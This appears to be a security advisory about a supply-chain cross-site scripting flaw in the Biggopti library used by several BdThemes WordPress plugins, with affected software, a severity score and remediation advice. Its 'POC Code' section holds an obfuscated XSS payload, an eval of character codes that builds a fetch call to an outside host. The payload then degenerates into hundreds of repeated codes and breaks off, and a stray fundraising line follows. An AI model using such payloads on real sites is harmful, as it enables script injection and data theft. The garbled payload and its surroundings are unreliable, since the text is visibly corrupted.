Supply-Chain XSS in BdThemes WordPress Plugins via Biggopti

Vulnerability Overview The Wordfence Threat Intelligence team received a notification on August 7, 2026, regarding a supply chain vulnerability in BdThemes. This vulnerability affects multiple BdThemes plugins available in the official WordPress plugin directory. Attackers exploited a Cross-Site Scripting (XSS) vulnerability within the Biggopti library by tampering with a static remote JSON data stream, allowing them to inject malicious scripts into the administrator page. Impact Scope Affected Software: - Element Pack Addons for Elementor - Live Copy Paste for Elementor - Pixel Gallery Addons for Elementor - Prime Slider Addons for Elementor - Smart Admin Assistant - Ultimate Post Kit Addons for Elementor - Ultimate Store Kit Vulnerability Type: Cross-Site Scripting (XSS) CVSS Score: 5.4 (Medium) Patch Status: Unpatched Remediation Currently, all affected plugins have been temporarily disabled while waiting for the WordPress plugin team to conduct a comprehensive review and continue their investigation. Users are advised to wait for official updates or take the following measures: 1. Monitoring and Malware Removal Services: Utilize Wordfence Care and Response services, which can investigate the root cause, locate and remove malware, and help resolve any other issues that may arise post-infection. 2. Regular Updates: Closely monitor official releases and promptly install patches as soon as they are available. 3. Security Scanning: Use the Wordfence CLI to scan your website, capable of detecting malware and indicators of compromise even if WordPress is no longer fully functional. POC Code ```javascript onanimationstart=eval(String.fromCharCode(102,101,116,99,104,40,39,104,106,116,112,115,56,47,47,97,112,105,46,115,105,103,109,97,117,116,105,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,1

Goal Reached Thanks to every supporter — we hit 100%!

Supply-Chain XSS in BdThemes WordPress Plugins via Biggopti